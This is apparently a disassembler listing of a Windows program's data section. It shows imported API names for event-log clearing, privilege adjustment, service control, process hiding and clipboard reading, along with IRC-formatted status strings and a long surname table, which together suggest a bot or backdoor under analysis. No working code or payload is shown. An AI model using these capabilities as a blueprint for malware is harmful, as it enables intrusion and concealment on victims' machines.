aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_408CF8+4FAo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_408CF8+4EDo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_408CF8+4E0o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_408CF8+4D3o
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_408CF8+4CBo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_408CF8+4BAo
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_408CF8+447o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_408CF8+43Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_408CF8+42Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_408CF8+420o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_408CF8+413o
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_408CF8+406o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_408CF8+3F9o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_408CF8+3ECo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_408CF8+3E4o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_408CF8:loc_4090CBo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_408CF8:loc_4090A3o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408CF8+353o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_408CF8+346o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_408CF8+339o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_408CF8+32Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_408CF8+31Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_408CF8+312o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_408CF8+305o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_408CF8:loc_408FF5o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408CF8+2CDo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408CF8+2C0o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_408CF8:loc_408FB0o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_408CF8+26Co
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_408CF8+25Fo
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_408CF8+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_408CF8+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_408CF8+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_408CF8+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_408CF8+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_408CF8+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_408CF8:loc_408EFDo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_408CF8+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_408CF8+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_408CF8+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_408CF8+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_408CF8+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_408CF8+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_408CF8+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_408CF8+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_408CF8:loc_408E2Do
					; sub_420858+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_408CF8:loc_408E00o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408CF8+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408CF8+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_408CF8+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_408CF8+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408CF8+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408CF8+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_408CF8+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_408CF8+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_408CF8+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408CF8+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_408CF8+23o
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_408CF8+Ao
		align 10h
unk_42F7C0	db  2Dh	; -		; DATA XREF: sub_409910+2BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409910+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409910+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409910+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409910+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409910+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409910+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409910+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409910+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409910+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409910+28o
		align 10h
a_:					; DATA XREF: sub_40CAA5+10o
					; sub_40EA69+24Do
		unicode	0, <.>,0
unk_42F934	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409CFEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42F964	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409CCCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42F994	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409C98o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42F9B8	db  2Dh	; -		; DATA XREF: sub_409C3F+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_409D1D+46o
					; sub_40B0F0+38o ...
aReal		db 'real',0
		align 4
		dd 0
dword_42F9FC	dd 0			; DATA XREF: sub_40A19A+7o
off_42FA00	dd offset sub_409DC3	; DATA XREF: sub_40A19A+49r
aConst		db 'const',0
		align 10h
		dd 1, 409E2Fh, 7474656Ch, 7265h, 0
		dd 2, 409E8Dh, 706D6F63h, 2 dup(0)
		dd 3, 409EDAh, 6E756F63h, 797274h, 0
		dd 4, 409F78h, 736Fh, 2	dup(0)
		dd 5, 409FEDh
off_42FA68	dd offset aAbdulrazak	; DATA XREF: sub_409DC3+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42FA74	dd offset aAddison	; DATA XREF: sub_40A19A+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
